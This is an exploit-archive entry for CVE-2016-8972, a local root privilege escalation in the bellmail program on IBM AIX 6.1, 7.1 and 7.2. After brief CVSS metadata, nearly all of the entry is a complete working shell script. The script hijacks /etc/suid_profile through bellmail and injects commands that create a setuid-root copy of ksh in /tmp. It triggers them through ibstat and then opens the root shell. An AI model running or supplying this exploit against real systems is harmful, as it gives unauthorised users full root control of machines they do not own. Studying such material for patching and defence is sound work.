IBM AIX 6.1 / 7.1 / 7.2 Bellmail Privilege Escalation

2016.12.23
Credit: RSL
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/sh # # CVE-2016-8972/bellmailroot.sh: IBM AIX Bellmail local root # # Affected versions: # AIX 6.1, 7.1, 7.2 # VIOS 2.2.x # # Fileset Lower Level Upper Level KEY # --------------------------------------------------------- # bos.net.tcp.client 6.1.9.0 6.1.9.200 key_w_fs # bos.net.tcp.client 7.1.3.0 7.1.3.47 key_w_fs # bos.net.tcp.client 7.1.4.0 7.1.4.30 key_w_fs # bos.net.tcp.client_core 7.2.0.0 7.2.0.1 key_w_fs # bos.net.tcp.client_core 7.2.1.0 7.2.1.0 key_w_fs # # Ref: http://aix.software.ibm.com/aix/efixes/security/bellmail_advisory.asc # Ref: https://rhinosecuritylabs.com/2016/12/21/unix-nostalgia-aix-bug-hunting-part-2-bellmail-privilege-escalation-cve-2016-8972/ # @hxmonsegur //RSL - https://www.rhinosecuritylabs.com ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}') VULNBIN=/usr/bin/bellmail SUIDPROFILE=/etc/suid_profile function ESCALATE { echo "[*] Preparing escalation" $VULNBIN >/dev/null 2>&1 <<EOD s /etc/suid_profile EOD if [ ! -w $SUIDPROFILE ]; then echo "[-] $SUIDPROFILE is not writable. Exploit failed." exit 1 fi echo "[*] Clearing out $SUIDPROFILE" echo > /etc/suid_profile echo "[*] Injecting payload" cat << EOF >$SUIDPROFILE cp /bin/ksh $ROOTSHELL /usr/bin/syscall setreuid 0 0 chown root:system $ROOTSHELL chmod 6755 $ROOTSHELL rm -f $SUIDPROFILE EOF echo "[*] Executing SUID to leverage privileges" /usr/bin/ibstat -a >/dev/null 2>&1 if [ ! -x $ROOTSHELL ]; then echo "[-] Root shell does not exist or is not executable. Exploit failed." exit 1 fi echo "[*] Escalating to root.." $ROOTSHELL echo "[*] Make sure to remove $ROOTSHELL" } echo "[*] IBM AIX 6.1, 7.1, 7.2 Bellmail Local root @hxmonsegur//RSL" $VULNBIN -e if [ $? -eq 0 ] then ESCALATE echo "[*] Make sure to remove $ROOTSHELL" exit 0 fi echo "[*] Sending mail to non-existent user, force a bounce within ~minute" /usr/bin/mail nonexistentuser <<EOD . . . EOD echo "[*] Waiting for mail to come in." while true do $VULNBIN -e if [ $? -eq 0 ] then echo "[*] Mail found" ESCALATE break else echo "[-] Mail not received yet. Sleeping." sleep 10 fi done

References:

https://rhinosecuritylabs.com/2016/12/21/unix-nostalgia-aix-bug-hunting-part-2-bellmail-privilege-escalation-cve-2016-8972/


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